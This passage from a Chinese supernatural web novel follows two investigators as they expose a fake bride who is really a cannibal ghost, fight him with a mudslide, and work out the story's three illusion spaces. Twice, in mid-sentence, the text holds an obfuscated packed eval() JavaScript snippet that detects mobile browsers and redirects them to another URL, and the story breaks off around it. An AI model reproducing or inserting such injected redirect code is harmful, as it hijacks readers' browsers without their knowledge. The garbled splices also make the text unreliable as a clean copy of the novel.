弹幕里叽叽喳喳。 “我服了,都知道这个石沛妮可能有问题了,还去她家?” “她该不是连人家家里也想拍照吧?” “虽然听起来有点离谱,但放在齐檎丹身上倒也正常。” 直播弹幕说什么的都有,齐檎丹一概置之不理。 她们跟随石沛妮,进了石沛妮的卧室。 齐檎丹大致瞥了一眼。这间卧室,和齐檎丹第二次进幻境的时候,看到的女子卧室一样,窗明几净,只是少了嫁衣和忙活备婚的人。 暂时看不出有什么问题。 “你们都渴了吧?我去给你们倒水喝。”一进卧室,石沛妮就端着空茶壶去了外面。 卧室房门一关,梁安颜立刻逮住齐檎丹追问:“我们在幻境里已经待超过十五分钟了,你不担心眼睛会出事吗?不担心我们会死在幻境里吗?” 齐檎丹平静地反问:“你有出幻境的方法吗?有看到出口吗?都没有。” 她的话如一盆冷水,兜头泼在梁安颜头上。 梁安颜瞬间泄气。 找不到破局的关键,她们一时半会儿,根本无法从幻境里出去。 无法离开幻境的危险,让梁安颜坐立难安。齐檎丹却从椅子上起身,在卧室里观察走动:“动起来吧。我们还有更重要的事情要去做。” 正对着门口的地方,有一面照片墙。上面拍摄时间不一的照片,几乎记录了石沛妮成长的整个历程。 这些照片里有好几张,都是在卧室里拍的。 这吸引了齐檎丹的注意。 对比照片里的背景和现如今的卧室,齐檎丹很快发现一个细节。 在这些于卧室里拍摄的照片中,卧室柜子上都放着兵器架子,架着一把刀,而现在,本该放在卧室里的这把刀,却不知去向。 这很反常。 另一边,梁安颜先是在书架上,发现了几本讲侗族女英雄婢奔和娘美的侗族故事集,又在柜子里,找到不少止血疗伤的药酒和纱布。 “这些故事在侗族文化里很经典,”梁安颜概述故事内容,“婢奔英勇抗击敌人,最后和两个女儿一同身死,死后化作侗乡的护佑女神,被尊称为萨岁或萨玛。娘美反抗‘女归舅家’的传统,与情郎私奔,在情郎被害死后又为他复仇,很能体现侗族女性婚姻对自主的期待。” 婢奔和娘美,都是侗族著名的女英雄。 前者保护家园和侗族人民,后者追求婚姻自由。 石沛妮之所以会把她们的故事放在书架上,时时翻看,说明这两个女英雄都能在一定程度上,折射出石沛妮的自我期待。 梁安颜放下故事书,又不解地拿起了药酒和纱布:“让我想不明白的是,这里怎么会有这么多疗伤用的东西?石沛妮莫非很经常受伤?” 可……石沛妮为什么会容易受伤? 石沛妮不像是需要干那些高危活计的。侗族百姓的正常生活,也不至于总让人负伤啊。 从卧室里消失的刀、书架上的女英雄故事书、治跌打损伤的药酒……这些碎片在齐檎丹脑海里拼拼凑凑,勉强拼出了一个大概的形状。 但现在,距离拼出一个像样的构想,还缺少最后一块拼图。 齐檎丹得把它补上。 齐檎丹闭上眼睛,开始复盘。考虑到真假石沛妮的情况是首次发现,而她两度进入幻境时看见的石沛妮,不仅行为逻辑连贯,而且悲伤的情感真实之余,还能看出递进。 除非这假石沛妮真的天赋异禀,演技超群,否则很难演出这样的真情实感。 由此可知,齐檎丹之前见到的是真石沛妮。 她那时候给真石沛妮拍的照片,成为了现在分辨真假石沛妮的一大重要线索。 再一次地,齐檎丹查看了给幻境里的石沛妮拍摄的照片。但这次,她的目的性非常明显,以最短时间,从照片里找到一张手部遮挡最少的之后,她把石沛妮手部的细节放大,再放大。 随着照片倍数的扩大,一个此前从未有人留意过的细节,出现在了她们眼前。 “她手上这是……刀茧?!” 梁安颜惊异不已。 只有常年练刀用刀,手上才会被刀柄磨出这样的硬茧。 最后一块拼图被拼上。 一切都严丝合缝地对应起来了。 真石沛妮以女英雄为偶像,从小练刀,所以手上生了刀茧,练习时也容易跌打扭伤,时不时需要药酒和纱布简单包扎治疗。正因为刀是她的重要武器,所以她的卧室里,总有一隅是专门留给刀子的。 石沛妮根本就不是一个只会哭哭啼啼,需要等人来拯救的柔弱女性。她以侗族里的女英雄为榜样,自小习武,善使大刀,遇到危险时,分明能够自救。 因此,她们遇到的石沛妮是假的,顾斩风和龙骁那边的才是真的。 动不动就哭泣,不是石沛妮的性格。 那么—— 这个请她们到家里来的假石沛妮,究竟是谁? 梁安颜心底悚然一惊,浑身上下像是被冷水淋了个彻底。正在这时,假石沛妮端着茶壶走了回来。 “久等了,茶水来啦。”一进入卧室,假石沛妮就找出两只杯子,给齐檎丹和梁安颜各自倒了满满一杯茶水,“我们这里是远近闻名的茶乡,出产的茶可是很好的。你们快尝尝看。” 假石沛妮轻声细语地哄诱着,催促齐檎丹端起茶杯。 琥珀色的茶水清澈透亮。 茶水里,倒映着假石沛妮唇角温婉的微笑。 明明是和之前一模一样的笑意,连嘴唇往上翘起的弧度都完全相同,梁安颜此时再看,却猝然觉出了一种笑里藏刀的惊悚感。 假石沛妮看她们两人,如看落入罗网的虫子。而现在只差一步,她就能将这两只小虫子吞吃入腹了。 喝下去,快喝下去…… 假石沛妮目光紧紧跟随着茶杯,来到齐檎丹的唇角。她看着齐檎丹将茶杯举到面前,双唇微张,瞳孔兴奋地放大。她耐心等待着茶杯倾斜,等待杯中茶水被齐檎丹饮入腹中。 只要在场的这两个人,都把她的茶水喝下去,她的目的就达成了。 然而,令假石沛妮所期待的情节没有发生。茶杯临到嘴边,齐檎丹的手腕却突然转了方向——一整杯茶连茶杯带茶水,劈头盖脸地向假石沛妮扔来。 假石沛妮下意识往旁边一躲,动作迅速得在空气中留下一道残影。这速度,全然非人。 茶水泼了个空。 空茶杯“噼里啪啦”摔落在地。 滚烫的茶水泼洒在地上的同时,茶水上被施加的幻术随之消散。这杯茶,终于暴露出了真实面目。 杯子里装的,哪里是浅琥珀色的清茶?分明是一大杯颜色怪异,浑浊发绿的液体。跟他们进寨门时,被逼着喝的那碗拦门酒,根本完全一样。 登时,齐檎丹眸底冷意幽深:“你不是石沛妮,对吧?” 假石沛妮面色阴沉: “但我和石沛妮确实有点关系……” “你指的,是你和石沛妮的婚姻关系?”齐檎丹嗤笑,“石沛妮拼死拼活想要跟你退婚,还真是没有错。跟吃遍全寨人的那个恶鬼结婚,就是送死。” 齐檎丹猛地发难。她两手抓住一左一右两条桌腿,起身一把掀起木桌,使桌面朝向假石沛妮。 而后,飞起一脚向木桌踹去。 “砰——” 身前结实沉重的木桌,被这发狠的一脚踹得向前,以迅雷不及掩耳之势,大力撞向假石沛妮。 齐檎丹说的话语信息量太大,突如其来的变故,令人猝不及防。两句下来,直接干懵了直播间观众的大脑。 直播间里,塞满茫然的议论。 “我怎么没听懂?假石沛妮怎么变成鬼了?怎么又成真石沛妮的退婚对象了?” “不是……我寻思我也没眨眼啊,怎么一下子,就错过了这么多信息?到底发生了什么?” “好晕啊,我已经被绕晕了。” 屋子里。 假石沛妮对飞来的木桌,报以轻蔑一笑。 下一秒,桌板被穿透。 两颗尖锐得可怕的牙齿,从后面穿过桌板,硬生生截断了木桌的动势,将之截停在半空。 木桌后,假石沛妮终于卸掉了伪装的幻术。 “她”的身形迅速抻长。 身高拔高,头发缩短,长相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083626|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五官移动变化…… 不消半刻,假石沛妮就从一个柔弱的女子,变成了一个穿着侗族服装的男人。男人整张脸全毁了,像被烈火烤焦一样焦糊发黑,全脸覆盖着崎岖怪异的疤痕。 男人阴沉沉地咧开嘴角,与人类相似的牙齿逐渐变形:“我本来想让你们死得痛快一点的,是你们自己不识好歹。” 他的牙齿越变越锋利,越长越多。 到了最后,男人口腔里的每一寸,已全部嵌满了白森森的尖牙。牙缝间,塞满了或新鲜或腐烂的人肉碎屑。 这,才是假石沛妮的真实样貌—— 狩猎人类的饿鬼。 将全寨子人无情吃尽的,石沛妮的表哥。 “咔嚓咔嚓”的咀嚼声,从方形的桌面后响起。用料扎实的木桌子,竟然被表哥鬼用牙齿生生咬碎,在转眼间,被啃成了一堆碎片。 听见那声音,梁安颜不由得脸色一变。这样咀嚼声,让她联想到了,寨门外那些考察员被吃尽的咀嚼声。 表哥鬼咀嚼着木桌,两颗眼珠子,却直勾勾盯着地盯着面前的齐檎丹和梁安颜。 仿佛她们是两盘新鲜可口的嫩肉。 格外下饭。 “你们是怎么认出,我不是石沛妮的?”表哥鬼把最后一块木头嚼巴嚼巴,呸出一口木头渣,“难道我的伪装,不完美吗?” “恰恰相反,正是因为太完美了。”齐檎丹道,“除非时常见到石沛妮,否则没办法捏出和她相似度那么高的一张脸。除非经常来石沛妮家,把屋里的细节都能记住的人,否则没人能复刻出如此完美的屋子。” 时常来石沛妮家串门,能进她的卧室,却对石沛妮真正的性格爱好一无所知,只会以对女性的刻板印象,来揣测她的人格。 村寨虽大,能满足以上这些条件的人,却只有一个。 那就是石沛妮的表哥。 “原来是这样。”男人发出低哑的狞笑,把吊脚楼的幻术一同卸去,“本来想让你们死得体面一点的,没想到,你们执意要跟我犟。这都是你们自找的!” 最后一个重音落下,有如冷水倏然溅入油锅。 眼前的一切,立刻沸腾。 床铺原地失踪、照片墙消失不见、梳妆台烟消云散……幻象被剥离的那一霎,堆满人骨的角落和喷满鲜血的墙体,出现在她们眼前。 吊脚楼外,被吃得只剩皮包白骨的鬼怪,干尸一般木然而瘆人地聚集在这吊脚楼周围。 将吊脚楼包围堵截。 这座白骨累累的屠宰场,正是石沛妮表哥的老巢。 假石沛妮方才一进房间,就声称要出去给她们倒茶。实际上,倒茶是假,找借口离开她们两人的视线,好操控鬼怪包围吊脚楼是真。 “今夜,你们逃不出去了。” 表哥鬼得意洋洋:“你们既然知道,我是吃光我们寨子这些人的鬼,也该知道我有手段,能让他们乖乖听话,为我所用。” 方才,他可是亲眼目睹了,齐檎丹和梁安颜只是被数十个鬼怪追击,就不得不东躲西藏的狼狈场面。现在,这里的鬼怪只会更多,不会更少。 整个寨子里,但凡被他完整剥皮的尸体,都能转化成鬼怪,为他所用。 这些鬼怪,少说也有一两百个。 今晚全在这儿了。 表哥鬼仇视地瞪着齐檎丹,脸上流露出忌惮之色。能精准说出他真实身份的人,太聪明,也太危险,他绝不能留! 齐檎丹却微笑着,对上了他的目光:“哦?你说出不去,我们就真的出不去?” 她尾音微扬。 听不出半点畏惧。 即便自认为计划天衣无缝,表哥鬼的心脏还是禁不住往下一沉。 “那你要不要动动你的脑筋,猜一猜,为什么我们早知道你有问题,还会跟着你一起回来?”齐檎丹微微眯起眼瞳,被她选中的照片道具,已然悄无声息地捏在了指缝里。 【是否使用SS级照片道具“故乡的回眸”?】 齐檎丹按下“是”字按键,手臂带动手指发力,将照片道具蓦地往前一丢。 照片向前飞出,带起风声。 齐檎丹含着笑意的声音,与风声在吊脚楼里,一同响起:“当然是为了,将你们一举消灭啦。” 61. 啼血侗歌14 “轰隆隆——” 照片道具“故乡的回眸”须臾生效。 泥水与废墟冲破照片。 泥石流爆发出来的那一瞬间,有如闷雷炸响。 顿时,曾经在“峭壁悬棺”副本里,摧毁过一整个村庄的泥石流失去约束,又裹挟着建筑被摧毁后留下的废墟残片,威力不减当年。 铺天盖地的泥水洪流,向表哥鬼哗然扑去。 表哥鬼食人成性,一感受到面临威胁,又习惯性地想要通过牙齿解决问题。他瞬间龇出尖牙,然而,嘴巴才刚张开,他整只鬼就被洪流冲得倒飞出去,嘴里还被灌了一嘴脏兮兮的烂泥巴。 泥巴虽然软和,但里面混杂的碎石和玻璃碎片,可不是好对付的主儿。 一个赛一个锋利。 门牙被骤地冲断,表哥鬼还没来得及反应,他口腔里的软肉上,已然被割出了难以计数的细密伤口,鲜血直流。 但奔流的泥水还没停止。紧接着,更大的第二波泥石流倏然袭来,巨大的冲击力以摧枯拉朽的气势,将表哥鬼一整个冲出门外,从二楼半开放的走廊掀下了吊脚楼。 泥水冲下楼的刹那间,聚集在吊脚楼周围的鬼怪,立刻被这股蛮横的力度,冲得七扭八歪,溃不成军。 齐檎丹到吊脚楼二楼来,正是为了这股居高临下的冲刷力。 泥石流的破坏力加上重力。 伤害超级加倍。 表哥鬼引以为傲的鬼怪大军,就这样淹没在一片土色之中。 一败涂地。 表哥鬼被困在泥里,满嘴是血,却呸了口泥巴,不屑地盯视着楼上的齐檎丹和梁安颜。 正因为亲身体验过这种泥石流的凶猛,表哥鬼才知道,这个是多么杀敌一千,自损八百的招数。她们俩该不会以为,自己身居高处,就能幸免于难了吗?休想。 这栋楼的承重能力,根本经不得这么折腾。 表哥鬼一语成谶。 泥石流与废墟叠加的重量下,二楼的木地板从中间折断,半座吊脚楼当即被压塌。即便齐檎丹和梁安颜立足的地方,没有受到泥石流影响,也因楼塌了一半而失去平衡,摇摇欲坠。 见状,表哥鬼从烂泥水里仰起头,幸灾乐祸地嘲笑:“哈哈哈哈傻了吧?杀了我,你们也活不了!” “谁说她们活不了?”一个苍老却中气十足的声音响起。 猛地呛了表哥鬼一句。 不是?这又是谁?表哥鬼憋着火气四处张望。 他头一抬,眼一睁,在泥石流里暂时“幸存”的半座吊脚楼,再一次撞进视线当中。骤然间,表哥鬼眼中,浮现出难以抑制的错愕。 方才还残缺不全,随时可能倾塌的吊脚楼,竟然……丝毫不晃了。 稳稳当当,跟完好的时候一样。 假的吧? 这怎么可能?! 表哥鬼恨恨咬牙,面部肌肉难以置信地抽搐了两下。 “铛!铛!铛!”吊脚楼下,一把铁锤有节奏的挥动着,几下便把钉子敲击进了木头里。就在泥石流平息的不久后,一根简易却有效的柱子拔地而起,撑起楼板,稳稳地承接住了吊脚楼上的重量。 把连接柱子和楼板的最后几根钉子,也敲进去后,小老头化作的鬼魂放下锤子,从吊脚楼二楼的木板底下,探出了头。 “怎么样?小老头我还是老当益壮吧。” 小老头捋着颌下那撇山羊胡子,骄傲地挺起胸膛:“你让我搭的这结构,我可是搭得又快又好,一点不比年轻的小伙子差。” 说完话,小老头还高高抬着下巴,乜了被埋在泥石流里的表哥鬼一眼,示以藐视。 把表哥鬼气得直翻白眼。 齐檎丹乐得看表哥鬼受气,她拿出哄客人时的嘴甜劲儿,把小老头哄得心花怒放:“是是是。要不是您,我们早也被泥石流埋了。” 齐檎丹心知肚明,这是她和小老头的最后一次见面了。 等到这张照片道具的效用消散,不仅泥石流会消失,连照片道具复刻出的小老头,也会变得透明。 因为这次鬼怪众多,照片道具难以一次性完成任务,齐檎丹必须凝聚精力,才能延长照片道具效果的持续时间,控制泥石流暂不散去。她脱不开身。 几乎是等吊脚楼一稳定后,她就让梁安颜先走出去看情况。 齐檎丹:“怎么样?解决了吗?” 梁安颜走出去看了一趟,却没见到表哥鬼:“还是让他逃走了。” 齐檎丹略微遗憾地叹了口气,但这个结果不算特别意外。齐檎丹大概能够猜到,表哥鬼绝不会那么好杀,否则一整个寨子的鬼,怎么可能至今还沦为他的傀儡,奈何他不得。 不过经此一败,表哥鬼损兵折将,元气大伤,一时半会儿应该不会来找她们麻烦。 这倒算个好消息。 表哥鬼消失后没多久,梁安颜的系统界面突然自动弹出。收到新消息的提示接连涌现,梁安颜的联系人列表里,她队内小群左上角,出现了一个消息提示的小红点。 红点点闪了又闪,显示梁安颜收到的这些新消息,全部来自这个群。 群里,龙骁正激动得狂刷屏。 “啊啊啊谢天谢地,我的消息终于能发出去了!” “服气了,难道这狗系统里,也有没信号这种发不了消息的借口吗?我发的几十条消息,被吞得只剩下一条了。” “你都不知道我们在这里遇到了什么,我的老天,这里的鬼都不会吓人的,特别爱好和平……” 过多的消息,让梁安颜应接不暇。 不等回复群上,梁安颜便第一时间把这个沟通顺畅的好消息,告诉了齐檎丹:“原来他们刚刚只回一条,是消息发不过来。现在好了,好像恢复正常了。” 考察系统依靠的不是信号,自然不可能有信号不好一说。 信息被拦,大概率是表哥鬼干的。 齐檎丹低头俯瞰了眼楼下,看到了一大堆在肮脏泥水里挣扎的鬼怪。 表哥鬼费心费力,才组建起的这一众鬼怪,如今只一招,就被她照片道具里的泥石流冲垮了,也难怪表哥鬼没心思继续拦截他们的消息。 四人分成两拨,分别位于不同的地方,难以碰面,因此线上交流便显得尤其重要。为了方便之后的沟通,梁安颜另外建了一个有齐檎丹的临时群组,把龙骁和顾斩风都拉了进去。 这样,更利于他们四人的信息交换。 龙骁的话痨属性,在这个四人小群里展露无遗。 他一进群,就第一个开始说话破冰:“梁安颜跟我说,你们那里居然已经出现生命剩余值了?可恶,为什么我们这里没有。” 齐檎丹刚收到这条消息,又见龙骁发了个“忍住不哭”的沙雕熊猫头表情包。 熊猫头很鬼畜,给龙骁的话语平添了一份喜感。 但齐檎丹笑过之后,旋即意识到,生命剩余值是否出现的差异,确实是一个值得他们注意的问题。 齐檎丹想起她之前进的第二个副本。 在“峭壁悬棺”那个副本里,甚至从头到尾,都没有出现过一次生命剩余值。不过那一次,系统有提前告知了他们这一情况,所以没人对此觉得意外。而这次没有。 无论背景还是剧情,这两个副本都大相径庭,但在某种程度上,它们其实有相似的地方。 那就是,副本里都有一个远离现实的空间。 “峭壁悬棺”副本里,宝珠制造出的亡灵空间,是在现实的基础之上,分隔出的另一个空间。他们现在所处的“啼血侗歌”副本中,更是要在幻境与现实之间频频穿梭,幻境的存在感异常强烈。 不同的是,“峭壁悬棺”里空间的存在,从始至终贯穿着通关过程,将他们隔绝在现实之外。 空间崩塌的那一刻,他们便成功通关。 可“啼血侗歌”不一样。 “啼血侗歌”副本里,他们有进出幻境的自由,可以一会儿回现实,一会儿进幻境。与此同时,生命剩余值的出现,也变得令人捉摸不透。 这两个副本之间,大概存在某种因素,能够影响到生命剩余值。 问题在于,他们是否能够根据这两个副本的相同与不同之处,锁定这个要素,并找出其中与生命剩余值密切相关的规律。 齐檎丹从系统背包中取出相机,却只是拿在手里,不轻不重地摩挲着相机外壳。齐檎丹还记得,生命剩余值在这副本里第一次出现的时候,是她和梁安颜第一次穿越到这里的时候。 可与她们同时穿越,却穿到不同地方的顾斩风与龙骁,却没有弹出生命剩余值。 这是为什么? 难道是因为他们穿到的地方不同吗? 对啊,地方不同……想到这个答案的顷刻间,齐檎丹有如醍醐灌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089710|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶。 “齐檎丹,你想到了什么?”梁安颜见齐檎丹久久沉吟不语,意识到她可能有所发现,于是询问。 齐檎丹从思索之中回神:“我在想,我们和顾斩风、龙骁他们有没有可能,不仅是穿到的地方不一样那么简单?”他们只知道彼此周围的环境不同,却不能确定,他们处在的是不是同一个空间。 要不然,怎么解释找了大半个寨子,死活找不到人? “有道理。”梁安颜微微点头。 目前可以确定的是,他们都已经离开最初的空间,这是确定一定以及肯定的事实。但就连这样,他们还能兵分两路,各自去往不同的空间里。 这说明,这副本里的空间至少有三个。 这三个空间中,包括了现实。 且现实只有一个。 另外两个,分别是他们一进副本便被系统投放进入的空间,和那个可能由侗族姑娘石沛妮创造的,有石沛妮意识的幻境。 “为什么我们会觉得,听到歌声进入的才是幻境?有没有可能,一切根本没有这么简单。”齐檎丹有种感觉,他们都被先入为主的思维定式困住了。 所有人都以为,一进去副本里,头一个接触到的肯定会是现实。可事实上并非这样。 惯性思维误导了他们。 侗族大歌只是他们实现穿梭的一种方式,他们不能保证会穿到哪里。 是幻境?还是现实?他们得自行区分。 这三个空间,齐檎丹和梁安颜全部都去过,但只有在现在这个空间里,她们的生命剩余值才第一次出现。 由此可知,另外两个空间都不满足生命剩余值出现的条件,属于同一性质。显然,两个空间都是幻境。 而齐檎丹和梁安颜现在在的这个—— 正是现实。 齐檎丹分析:“生命剩余值出现的前提,可能是现实。只有考察员处在副本现实中的时候,才会出现这个生命剩余值功能。这说明,我们从进入副本的那一刻开始,就一直在幻境里。现在的顾斩风和龙骁,应该也是进了幻境。” 梁安颜短暂思索过后,也表示认同。 现在想想,他们最开始进入的那个幻境空间,确实存在着不少破绽。主寨那些侗族鬼魂的样貌,就颇为可疑。 哪儿有鬼魂是与常人无异,栩栩如生的? 齐檎丹:“我们当前能够确定的是,顾斩风和龙骁在的那一个幻境,是石沛妮创造的,所以真的石沛妮鬼魂会在那里。至于我们一开始进入的,那另一个幻境……则很有可能是表哥鬼的产物。” 梁安颜抿唇:“假如侗族大歌可以在三个空间之间,实现自由穿梭,那为什么我们在表哥鬼的幻境里时,虽然能短暂地穿进石沛妮的幻境里,却不能超时?” “我猜,表哥鬼的力量强过石沛妮。而且他建立幻境,有他不可告人的目的。” 齐檎丹继续说道:“表哥鬼擅长幻术,会操纵鬼怪,又懂得通过完整剥皮,释以幻术秘法,让寨民化成的鬼怪变成生前的样子……” 表哥鬼这样做的目的,也很好解释。 他需要吃人。 寨子里的居民被吃完了,他就只能骗外人来吃。 这一次,表哥鬼之所以借着寨子间‘吃相思’联谊的名义,控制寨里的鬼怪,向其他侗寨发出邀请,把包括考察员的外寨人骗进寨子里来,估计也是想吃了他们。 表哥鬼可能不是不知道侗族大歌的作用,然而“吃相思”这么盛大的侗族活动里,要是没有侗族大歌出场,难免让外来的侗族人起疑心。 所以表哥鬼迫不得已,留下了歌曲部分。 “……同时,表哥鬼又害怕他自己幻境里的人,从石沛妮这边,得知他想要隐瞒的东西,于是竭力跟石沛妮的幻境抢人,而且设定了时间限制。倘若超过十五分钟之后,那人才终于被抢回来,表哥鬼便会杀人灭口。” 表哥鬼通过杀掉少数人,来保证大多数落入圈套的人不会醒悟,他的幻境不会被扰乱。 这样,就更方便他挨个下口。 在吃人肉的同时,欣赏这些人茫然而惊恐的神情。 “真是个不折不扣的变态。”梁安颜禁不住压着声音唾骂了一句。骂完后,她却提出疑问: “既然如此,那表哥鬼为什么要把我们拽到现实?显然我们在他的幻境里,会更方便他对我们下手啊。” 62. 啼血侗歌15 齐檎丹笑了:“因为他在跟石沛妮抢人。” 表哥鬼要抢的人,就是他们。 显而易见,表哥鬼所制造的幻境,并非铁板一块。 可能是为了向外界求助,也可能是为了保护他们,石沛妮不断地借助侗族大歌的能量,试图将他们从表哥鬼的幻境里,拉进自己的幻境,并趁机努力传递有关她的信息。 最后,石沛妮成功了。他们经过一番探索,确实找到了进入石沛妮幻境的方式。 而这,大大违背了表哥鬼的意愿。 表哥鬼的幻境是他的“一言堂”,除了寨民鬼怪随时可以被他抹杀的微弱个人意识,幻境所有的一切,尽在他掌握之中。对这一幻境的绝对掌控,也是他猎杀他人、大快朵颐的依仗。 可现在,石沛妮竟然想要把他辛辛苦苦骗到嘴边的猎物挖走,而且还是在他眼皮子底下。 要是这些人全跑了,表哥鬼还有什么东西下肚? 是可忍,孰不可忍! 但表哥鬼即便忍无可忍,能做的也非常有限。 彼时,侗族大歌已经打开了空间之间的传送通道,表哥鬼无法将通道截断,无法阻止他们从这一幻境中离开,只能临时改变传送途径,尽可能多地将人拐进现实。 比起被石沛妮全面主宰的地盘,还是现实里,他比较能控制得了。 表哥鬼动作稍晚,没法改变所有人的传送,便只传送了部分人进现实——齐檎丹和梁安颜,以及因为尾随在齐檎丹身后,被侗族大歌的传送功能影响的“三原色兄弟”。 “三原色兄弟”里,有至少两个人有攻击系技能,不好对付,表哥鬼于是挑了她和梁安颜下手,估计是想挑软柿子捏。 不成想,在阴沟里翻了船。 捏到个带刺的。 当这一番连篇累牍的推理,终于在脑子里停止生成的时候,齐檎丹终于把自己想累了。疲惫的脑子生了锈,暂时转不动,副本的剧情解锁度倒是活跃了起来。 齐檎丹想到的已经说完,现在轮到系统用剧情解锁度,来向她们揭晓正确性了。 【推测正确!恭喜您新解锁了25%剧情!奖励积分+250】 【当前剧情解锁进度:40%】 什么?才解锁25%,给250积分? 就给这么一点儿? 齐檎丹掀着眼帘,没好气地乜视了弹出来系统提示一眼。 整个副本三重空间的构造,以及他们之所以被分开的原因,齐檎丹都给推理出来了,结果这时候告诉她,这两种东西全部加起来,就只值这么四分之一的剧情解锁度? 黑心!小气!不可理喻! 齐檎丹捏着拳头,愤愤不平地在内心控诉。 还有,系统莫不是是不知道,“二百五”这个词语在人类的语言体系里,是代表着什么意思吗?送上门来的这250的积分,究竟是在奖励还是在骂人? 梁安颜赶忙柔声劝慰:“别气别气,至少剧情解锁度有反应了,说明你的推测是正确的,我们当前的方向也是对的。” 她说的确实有道理。 齐檎丹的心情在得到安抚后,逐渐平静下来。 不管这到手的积分数量是250还是260,好歹也是积分,现在有生命剩余值在不断消耗积分的情况下,只要有积分进账,就是好的。 趁着表哥鬼还没来捣乱,群上沟通交流还顺畅,齐檎丹简单概括了一下她们这里的情况:“我们识破了假石沛妮的身份,暂时击退了表哥鬼。你们那边的情况怎么样?” 按理说,有石沛妮的鬼魂在那里,顾斩风那边进展得应该更顺利一些。 但事实上,并非如此。 龙骁在发来的语音条里,唉声叹气。 “小爷我真是没招了。石沛妮根本不记得发生了什么,也不想退婚,不承认这是在幻境里面。”龙骁语气里没有冷静,全是崩溃: “她好像被困在过去的记忆里了,一直觉得现在还是婚礼前。我们本来想用那些寨民的鬼魂来提醒她的,可偏偏那些鬼一到她身边,就会变成活着时的样子。唉,我真是一点办法也没有了……” 婚礼之前?齐檎丹对这个时间段感到熟悉,婚礼前不就是她两次进入石沛妮的幻境里时,所看到的场景吗? 先是道别恋人,后是手捧嫁衣。 这都是石沛妮从订婚后到婚礼前,会干的事。 龙骁头疼得不行:“要是我们的位置调换一下,过来的是你们就好了。你们都是女生,好歹能跟石沛妮接近一些,我们就难了,哪怕只是想找她问几个问题,都要担心会不会被人瞧见了说闲话。” 石沛妮有心上人的事情人尽皆知,时间又是成婚之前,正是相关舆论最敏感的时候,村里的风言风语传得又快,要是一不小心叫人抓住话柄,背后被村民们嚼舌根子,他们说不定连见石沛妮都见不着。 可偏偏,石沛妮是这个副本必不可少的核心角色,很多线索都要从她口中得知。 他们不得不与之接触。 直把龙骁愁得,一连发了好几个泪流满面的表情包,在群里刷屏。 梁安颜看完消息后,仔细思考了一下去往石沛妮的幻境,帮忙询问石沛妮的可能性。她问齐檎丹:“我们要不要赶紧想个办法离开这里,尽快和顾斩风、龙骁他们汇合?” 齐檎丹却摇头:“先不急,我们还不能走。” 梁安颜:“为什么?” 她们即便待在现实里,也暂时奈何不了表哥鬼,为什么不去幻境里帮忙,还能多少发挥点作用? 顾斩风第一次在群上发了话:“我们缺的不是人。” 缺的,是当年的真相。 一个残酷而尖锐,却能刺醒石沛妮的真相。 只要石沛妮不从自欺欺人的幻梦里清醒过来,即便是齐檎丹、梁安颜都过去了,和石沛妮说上话了,也会对此无能为力。而真相就像一把斧子,是唯一能劈开这场幻梦的东西。 石沛妮的幻境停留在婚礼之前,表哥鬼对村中人的屠杀还没发生。此外,相比起两个被鬼魂构建出的幻境,现实也绝对是最接近客观事实的,最可能发掘出真相留下的痕迹。 而齐檎丹和梁安颜,便在现实里。 他们是离真相最近的人。 “现在只有我们两个,才可能找到真相。顾斩风和龙骁那里,需要我们这里找到真相,对石沛妮进行突破。”这是齐檎丹选择继续留下来的原因,“我们这里,也有另外一件事,需要他们的帮忙。” 四个人分成两波,分别处于两个空间,各自空间里都有对方需要的东西。只有他们彼此互相打好配合,才有真正杀死表哥鬼、通关副本的希望。 龙骁很大气地开口:“要我们帮什么?尽管说。” “帮我们找一把刀。” 齐檎丹也没遮遮掩掩:“我们需要找那把,石沛妮一直在使用的刀。” 齐檎丹没忘了,在表哥鬼幻化出的石沛妮的卧房里,石沛妮那把不翼而飞的刀。从刀子的缺失可以看出,表哥鬼对那把刀的态度,特别耐人寻味。 很明显,表哥鬼是害怕那把刀的。 他明知刀子的缺位是一大破绽,却怕到就算整间石沛妮的屋子,都是由他制造的幻象,他都不敢将房间里的刀子一起变出来。 可是,持刀的石沛妮都已经死去变成鬼魂了,表哥鬼为什么还是那么怕这把刀子?这里面,是否有着不为人知的原因? 或许,杀死表哥鬼的关键,正在于那把刀。 他们需要找到刀。 龙骁满口答应:“不就是找刀嘛?好办好办!那把刀在哪里?” 齐檎丹早已经锁定了地点:“如果不出意外,我基本可以确定,这把刀就在石沛妮的卧室里。那里,有个专门放刀的夹子。” 龙骁的表情瞬间石化:“不是吧……卧室?!” 难不成要他私闯闺房? 不要啊。 这么多年,他连异性的手都没牵过。单是想方设法接近石沛妮,已经够让龙骁喝一壶的了,结果现在一上来,就要他翻进别人未婚妻的闺房,偷人家的爱刀。 要是被人瞧见,他黄花大闺男的清白往哪搁啊? 清白可是男人最好的嫁妆。 龙骁的手指颤抖着,在聊天框里写了又删,删了又写,正当他心如死灰,准备牺牲自身清白,为那把刀咬牙搏一把时,齐檎丹却先回消息了。 “不用那么麻烦。我们只需要知道,这把刀长什么样就可以了。”齐檎丹道。 这样一来,难度大大降低。哪怕只是站在门外看,多少也能看到一点刀的样子。 龙骁长松了一口气。 其实,齐檎丹并不是不想直接把刀拿到现实里来用,而是不能。 要是真能从幻境里把刀子带出来,那自然是最好的。但,要是幻境里的东西真能变成实体,被带出来,那幻境就不叫幻境了。幻境里的刀子,顶多只能当作参考。 